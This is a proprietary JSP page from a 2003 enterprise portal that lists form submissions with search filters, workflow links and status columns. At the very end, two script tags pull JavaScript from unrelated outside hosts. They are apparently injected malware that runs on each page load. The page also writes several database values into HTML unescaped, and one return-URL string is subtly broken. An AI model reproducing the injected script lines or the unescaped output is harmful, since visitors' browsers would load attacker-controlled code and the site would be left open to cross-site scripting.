<%
/*
 * @(#)ListFormReportSummary.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormReportSummary.jsp

  This is a ListFormReportSummary page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      16/01/2003
    @version            $Revision: 1.38.2.13 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.form.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>
<script language="javascript">
function OpSearch(frm, sortValue, sortOrder) {
  //Bill add for EIP-1705 start
	if (frm.fromDate.value!=''&& frm.toDate.value!='') {
    if (compareDate(frm.fromDate, frm.toDate, true) > 0) {
      alert("<bean:message key='errors.form.form_time_can_not_be_greater_than_to_time'/>");
      return false;
    }
  }
  //Bill add for EIP-1705 end
  
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.submit();
  return false;
}

function OpReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";  
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  frm.basicSearchField.value="";
  frm.basicSearchType.value="";
  frm.basicSearchKeyword.value="";
  frm.searchFormDisplayType.checked=false;
  frm.submit();
  return false;
} 
</script>

<%
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  FormSubmissionManager formSubmissionManager = new FormSubmissionManager(sessionContainer, conn);
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");

  if (!Utility.isEmpty(listFormSubmissionForm.getWorkflowRecordID())
		  && FormConstant.BAND_NONEWORKFLOWRECORDID.equals(
			   listFormSubmissionForm.getWorkflowRecordID())) {
	  listFormSubmissionForm.setWorkflowRecordID(null);
  }
  
  List searchElmentList = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),listFormSubmissionForm.getWorkflowRecordID(),"");
  if (!Utility.isEmpty(listFormSubmissionForm.getWorkflowRecordID()) && !"null".equals(listFormSubmissionForm.getWorkflowRecordID())){
    searchElmentList = formSubmissionManager.getSearchElementListByWorkflowRecordIDFormRecordIDUserRecordID(new Integer(listFormSubmissionForm.getWorkflowRecordID()),new Integer(listFormSubmissionForm.getFormRecordID()),sessionContainer.getUserRecordID());
  }
  
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  LIST_NAME = "formTrackingDetailList";
  String	opMode = listFormSubmissionForm.getOpMode();
	
  String[][]  LABEL_MAP = { {"ID", "ID"},                            
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "STEP_NAME"},
                            {"form.columnheader.submitted_by", "UPDATER_ID"},
                            {"form.columnheader.submit_date", "UPDATE_DATE"},
                            {"form.columnheader.workflow_step_status", "STATUS"}                            
                          };
                          
  String[][]  LABEL_MAP_WHOLE_FORM = { {"ID", "ID"},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},                         
                            {"form.columnheader.submitted_by", "UPDATER_ID"},
                            {"form.columnheader.submit_date", "UPDATE_DATE"},
                            {"form.columnheader.submission_status","STATUS"}
                          };                                                
	
  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.title", "TITLE"}
                          };                          

  int     COLUMN_OFFSET = 0;
  String returnURL = "ListFormTracking.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN";
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="form/ListFormTrackingDetail" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="formRecordID"/>
<html:hidden property="workflowRecordID"/>
<%--
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<%=formRecord.getTitle()%>]<layout:returnButton>ListFormTracking.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%> </layout:returnButton></font></layout:titleFormat>
<!-- Page Title Section End -->--%>

<layout:listBar>
    <div class="button">
        <layout:returnButton className="btn-colheader" returnURL="<%=returnURL%>"/>
    </div>
  <layout:filterControl/>
  </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
 <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%      
      for (int i=0; i<searchElmentList.size(); i++) {     
        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElmentList.get(i);
        String selected = "";
        if(tmpFormElement.getID().toString().equals(listFormSubmissionForm.getBasicSearchField())) {
          selected = "selected";
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </html:select>
	 </td>
     <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
	  </td>
	 <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/> 
	  </td>
	 <td class="filterPanelItem" nowrap>
      <html:checkbox property='searchFormDisplayType' value='1' ><bean:message key="form.search.considated_view"/></html:checkbox>    
      </td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap>
    <b><bean:message key='form.search.submit_date'/>:</b><bean:message key='common.label.period_from'/>:
	</td>
	<td class="filterPanelItem" nowrap>
    <html:datepicker property="fromDate"/>	
	</td>
	<td class="filterPanelItem" nowrap>
    <bean:message key='common.label.period_to'/>:
	</td>
	<td class="filterPanelItem" nowrap>
    <html:datepicker property="toDate"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpSearch(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return OpReset(listFormSubmissionForm)"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->



<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=!Utility.isEmpty(listFormSubmissionForm.getSearchFormDisplayType()) ? LABEL_MAP_WHOLE_FORM : LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" checkColumn='false' editLabel='<%="form.label.view"%>' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center">  
      <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>   
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=V&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&workflowRecordID=<%=!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ? ((FormSubmission)formSubmission).getWorkflowRecordID().toString() : ""%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconView.gif'  align='absmiddle'/></a>
      <%}else{
          if (!Utility.isEmpty(listFormSubmissionForm.getSearchFormDisplayType()) && !"null".equals(listFormSubmissionForm.getSearchFormDisplayType())){    
            if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID())
            		&& !new Integer(FormConstant.BAND_NONEWORKFLOWRECORDID).equals(
            				((FormSubmission)formSubmission).getWorkflowRecordID())) {
           %>            
            <a href="MaintFormSubmission.do?navMode=PT&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMTRACKING&isShowWholeForm=true&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&trackID=<bean:write name='formSubmission' property='trackID'/>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&userRecordID=<%=sessionContainer.getUserRecordID()%>"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>          
          <%}else{%>
            <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMTRACKING"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
          <%}%>
        <%}else{ 
            if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() )
            		&& !new Integer(FormConstant.BAND_NONEWORKFLOWRECORDID).equals(
            				((FormSubmission)formSubmission).getWorkflowRecordID())){%>
              <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMTRACKING&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&workflowStepID=<%=((FormSubmission)formSubmission).getWorkflowStepID()%>&progressID=<%=((FormSubmission)formSubmission).getProgressID()%>&isViewUserStep=true&userRecordID=<bean:write name='formSubmission' property='updaterID'/>"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
          <%}else{%>
              <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMTRACKING"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
          <%}%>
        <%}%>
      <%}%>	
     </td>
    <td><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='workflowCode'/><%}%>
     <% 
      List wfRelationRow = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList(); 
      for (int x = 0; x < wfRelationRow.size(); x++) {
        com.dcivision.workflow.bean.WorkflowRecord wfRec = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRow.get(x))[0];
        Integer trackID = (Integer)((Object[])wfRelationRow.get(x))[1];
        String wfMsg = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.related_to_workflow", wfRec.getWorkflowCode() + " - " + wfRec.getDescription() + " (" + wfRec.getWorkflowVersion() + ")"));
        %><a href="#" onmouseover="return getPopupInfo('<%=wfMsg%>')" onmouseout="return nd()" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID=<%=wfRec.getID()%>&trackID=<%=trackID%>', 'DCIVisionWFRelation', 750, 500, 'scrollbars=yes')"><html:img src='IconWorkflowRelated.gif' /></a>
        <%
      }
      %></td>
    <td><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='trackID'/><%}%></td>
    <%if (Utility.isEmpty(listFormSubmissionForm.getSearchFormDisplayType()) || "null".equals(listFormSubmissionForm.getSearchFormDisplayType())){    %>
    <td><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='workflowStepName'/><%}%></td>
    <%}%>
    <td><bean:write name='formSubmission' property='updaterName'/></td>
    <td><bean:write name='formSubmission' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <%if (Utility.isEmpty(listFormSubmissionForm.getSearchFormDisplayType()) || "null".equals(listFormSubmissionForm.getSearchFormDisplayType())){%>
      	<td>
      	<%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) && !"-1".equals(((FormSubmission)formSubmission).getWorkflowRecordID().toString()) ){%>
          <bean:message key='<%="workflow.label.step_status_"+ ((FormSubmission)formSubmission).getStatus()%>'/>
        <%}else{%>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
           <bean:message key='form.label.submission_status_S'/>
          </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
           <bean:message key='form.label.submission_status_M'/>
           </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
           <bean:message key='form.label.submission_status_P'/>
          </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
           <bean:message key='form.label.submission_status_C'/>
          </logic:equal>     
        <%}%>      	  
        </td>  
    <%}else{%>     
       <td>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
           <bean:message key='form.label.submission_status_S'/>
          </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
           <bean:message key='form.label.submission_status_M'/>
           </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
           <bean:message key='form.label.submission_status_P'/>
          </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
           <bean:message key='form.label.submission_status_C'/>
          </logic:equal>     
         
       </td>
     <%}%>
  </tr>
  </logic:iterate>
  </table>
</div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormSubmissionForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>